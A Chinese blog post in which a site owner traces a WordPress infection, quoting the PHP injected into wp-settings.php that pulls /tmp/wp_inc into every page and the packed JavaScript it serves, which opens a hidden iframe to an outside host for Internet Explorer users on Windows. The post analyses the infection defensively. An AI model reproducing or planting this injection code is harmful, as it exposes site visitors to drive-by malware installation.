Categories
Wordpress

wordpress之手动查木马侵入

最近两个blog都不消停,总有木马嵌入的报告。是可忍孰不可忍,在今早收到google Webmaster的通知之后,决定彻底的查一下这个感染的原因。

登上FTP,看到wp-settings.php这个文件更新日期和其他的都不一样,就下下他来。然后和标准的安装包自带的wp-settings.php进行比对,果然发现多了这么几行:
function check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . '/wp_inc')){
readfile($t_d . '/wp_inc');
}
}
add_action('wp_head', 'check_wordpress');

遂加了一行echo $t_d. '/wp_inc' ;,华丽丽的发现输出了一个/tmp。这个时候访问blog并查看源文件,发现有一行代码被嵌入:
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('i 9(){a=6.h('b');7(!a){5 0=6.j('k');6.g.l(0);0.n='b';0.4.d='8';0.4.c='8';0.4.e='f';0.m='w://z.o.B/C.D?t=E'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|nl|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|hggf|navigator|ai|showthread|php|72241732'.split('|'),0,{})) // ]]>
这就是一切祸首的来源!

总结一下,这个木马的入侵模式为:修改wp-settings.php文件,然后调用系统临时文件夹/tmp下的wp_inc文件,然后嵌入到网站的里面,实现JS入侵

最简单的屏蔽办法自然是覆盖wp-settings.php文件,然后这行代码的嵌入果然消失了,网站也就没问题了。然而最大的问题则是,服务器已经被感染了,他会不断的重写wp-settings.php文件,而且就算我把文件的权限设为600(只读)而不是644也无济于事。这下子,我也不知道应该怎么办了……看了一下google的report,貌似整个服务器上有很多网站都中招了,汗。

Of the 168165 site(s) we tested on this network over the past 90 days, 4491 site(s) served content that resulted in malicious software being downloaded and installed without user consent.

莫非要换服务器了?……又是一年搬家时?
p.s. 发现自己向着下列目标在不懈努力:

上得了厅堂,下得了厨房,写得了代码,查得出异常,杀得了木马,翻得了围墙,开得起好车,买得起新房,斗得过二奶,打得过流氓.

3 replies on “wordpress之手动查木马侵入”

Comments are closed.